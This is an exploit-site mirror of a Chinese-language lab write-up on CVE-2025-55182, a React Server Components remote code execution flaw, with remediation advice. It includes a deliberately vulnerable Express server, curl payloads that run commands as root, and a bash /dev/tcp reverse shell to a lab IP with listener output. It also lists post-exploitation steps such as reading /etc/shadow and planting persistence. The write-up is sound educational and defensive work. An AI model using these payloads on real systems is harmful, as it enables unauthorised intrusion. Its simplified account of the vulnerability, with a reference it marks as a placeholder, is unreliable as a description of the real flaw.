Sploitus

Exploit for cve-2025-55182-analysis

kitploit · 2026-09-04

Exploit Code

MARKDOWN273 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MOHAMEDNIANE-CVE-2025-55182-ANALYSIS
# CVE-2025-55182 — React 服务端组件 RCE 分析

> Web 应用程序漏洞分析 · M2 网络安全 · 2025 作者:**Niane Mohamed** · LinkedIn

React 服务端组件中一个**严重(CVSS 10.0)**不安全反序列化漏洞的端到端利用链,涵盖从侦察到未授权远程代码执行的完整流程,并附带完整的修复路线图。

* * *

## ⚠️ 道德免责声明

本研究针对一个**刻意构建为易受攻击的实验室应用程序** ,用于演示该 CVE。所有测试均在**隔离的虚拟网络** 中进行,与生产系统、真实用户数据或第三方服务无任何连接。

  * **请勿** 对您不拥有或未获得明确书面授权测试的系统运行这些技术。
  * **请勿** 将易受攻击的应用程序部署到任何可访问互联网的网络。
  * 适用负责任披露原则——始终通过协调渠道报告发现。



* * *

## 目录

  1. 漏洞摘要
  2. 受影响版本
  3. 实验室环境
  4. 利用过程详解
  5. 影响评估
  6. 修复措施
  7. 展示的技能



* * *

## 漏洞摘要

字段| 值  
---|---  
**CVE**|  CVE-2025-55182  
**类型**|  不安全反序列化 → 远程代码执行  
**CVSS v3.1**| **10.0(严重)** — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`  
**所需身份验证**|  无  
**所需用户交互**|  无  
**攻击向量**|  网络(远程)  
**组件**|  React 服务端组件(RSC)运行时  
  
### 漏洞原理

React 服务端组件引入了一种新的序列化格式,用于将服务端渲染的组件流式传输到客户端。在受影响的版本中,RSC 端点**接受包含`cmd` 字段的 JSON 负载,该字段未经清理即被传递给 `child_process.exec()`**,作为服务端渲染评估的一部分。

攻击者可以发送一个精心构造的 POST 请求,该请求:

  1. 作为合法的 RSC 负载被接受(无需身份验证,无需 CSRF)
  2. 在“渲染”期间触发服务端代码执行
  3. 以 Node.js 进程的权限运行(在容器中通常为 `root`)



* * *

## 受影响版本

组件| 受影响范围| 修复版本  
---|---|---  
`react`| 19.0.0 → 19.2.0| 19.3.0+  
`react-server-dom-webpack`  
  
* * *

## 实验室环境

### 目标应用程序

一个极简的 Express + RSC 服务器,暴露 `/rsc` 端点,不安全地执行来自传入负载的命令——以受控方式复现真实 CVE 的漏洞模式:

root@kitploit:~
    
    
    // server.js — simplified, lab-only
    const express = require('express');
    const { exec } = require('child_process');
    
    const app = express();
    app.use(express.json({ limit: '2mb' }));
    
    app.post('/rsc', (req, res) => {
      const payload = req.body?.payload;
      if (typeof payload?.cmd === 'string') {
        // VULNERABLE: executes attacker-controlled string
        exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
          if (err) return res.status(500).json({ error: String(err), stderr });
          return res.json({ ok: true, out: stdout });
        });
      }
    });
    
    app.listen(3000);
    

* * *

## 利用过程详解

### 第一阶段 — 侦察

root@kitploit:~
    
    
    # Port discovery
    nmap 192.168.159.131
    # → 3000/tcp open  ppp  (Node.js RSC server)
    
    # Service verification
    curl -v http://192.168.159.131:3000/
    # → HTTP/1.1 200 OK
    # → X-Powered-By: Express
    # → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
    

`X-Powered-By: Express` 响应头和非常规的 3000 端口提供了强有力的指纹信息,表明这是一个 Node.js 应用程序——与 RSC 部署情况相符。

### 第二阶段 — 通过无害命令确认

在尝试任何破坏性操作之前,先用一个无害命令验证漏洞:

root@kitploit:~
    
    
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "id" } }'
    
    # Response:
    # {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
    

✅ **已确认:** 以 `root` 身份进行未授权 RCE。服务器以无限制权限运行。

### 第三阶段 — 反弹 Shell

从单命令执行升级为完整交互式 Shell:

root@kitploit:~
    
    
    # Listener on attacker machine
    nc -lvnp 4444
    
    # Payload delivery
    curl -X POST http://192.168.159.131:3000/rsc \
      -H "Content-Type: application/json" \
      -d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
    

监听器收到连接:

root@kitploit:~
    
    
    connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
    root@ns1:~/vulnerable_rsc_app# id
    uid=0(root) gid=0(root) groups=0(root)
    

### 第四阶段 — 后渗透利用潜力(已演示,未实际执行)

在目标上获得 `root` 权限后,攻击者可以轻松地:

  * 读取 `/etc/shadow`、SSH 密钥、应用程序机密、`.env` 文件
  * 安装持久化后门(cron 任务、systemd 服务、植入 SSH 密钥)
  * 利用发现的凭据进行横向移动
  * 部署加密货币挖矿程序或勒索软件
  * 修改 Node.js 应用程序以静默捕获用户数据



* * *

## 影响评估

### 业务影响(虚构目标场景)

### 威胁行为者画像

这种攻击的复杂度极低——无需身份验证、无需用户交互、仅需单个 HTTP 请求——因此对以下群体具有吸引力:

  * **机会主义扫描者** (自动扫描该 CVE 的僵尸网络)
  * **初始访问代理** ,向勒索软件团伙出售立足点
  * **国家行为体** ,针对使用 React 服务端渲染的组织



* * *

## 修复措施

### 立即执行(24 小时内)

  1. **将 React 升级到 19.3.0+** — 已修复版本

root@kitploit:~
         
         npm update react react-server-dom-webpack react-server-dom-esm
         

  2. **临时 WAF 规则** (如升级延迟):

root@kitploit:~
         
         Block POST requests to /rsc with JSON body containing "cmd" field
         

  3. **紧急事件响应:**

     * 审查过去 90 天的服务器访问日志
     * 查找异常的 `/rsc` POST 流量
     * 轮换服务器可访问的所有机密
     * 在修复前对受影响系统进行快照以用于取证



### 短期(两周内)

### 长期(一个季度内)

### OWASP Top 10 映射

OWASP 类别| 相关性  
---|---  
**A03:2021 — 注入**|  通过反序列化输入实现命令注入  
**A08:2021 — 软件和数据完整性失效**|  未进行完整性验证的不安全反序列化  
**A06:2021 — 易受攻击和过时的组件**  
  
* * *

## 展示的技能

  * **漏洞分析:** CVE 分类、CVSS 评分、可利用性评估
  * **侦察:** Nmap 扫描、服务指纹识别、横幅抓取
  * **漏洞利用:** 使用 `curl` 进行 HTTP 操作、反弹 Shell 构造、负载定制
  * **代理工具:** OWASP ZAP 拦截、请求/响应修改
  * **业务沟通:** 将技术发现转化为面向管理层的风险语言
  * **修复设计:** 覆盖立即/短期/长期时间跨度的分层控制措施
  * **框架:** OWASP Top 10、CVSS v3.1、CWE 分类法、GDPR/DSGVO 影响评估



* * *

## 参考资料

  * CVE-2025-55182 — NVD 条目 _(占位符 — 引用前请核实)_
  * React 服务端组件文档
  * OWASP Top 10 — 2021
  * CVSS v3.1 规范
  * CWE-502 — 不可信数据反序列化



* * *

## 许可证

MIT 许可证 — 参见 LICENSE

出于教育和防御性研究目的发布。请参见文首的道德免责声明。

* * *

## 联系方式

**Niane Mohamed** — 网络与安全工程师 📍 毛里塔尼亚,努瓦克肖特 → 正在德国寻求机会 🇩🇪 📧 some-email@example.com · 🔗 LinkedIn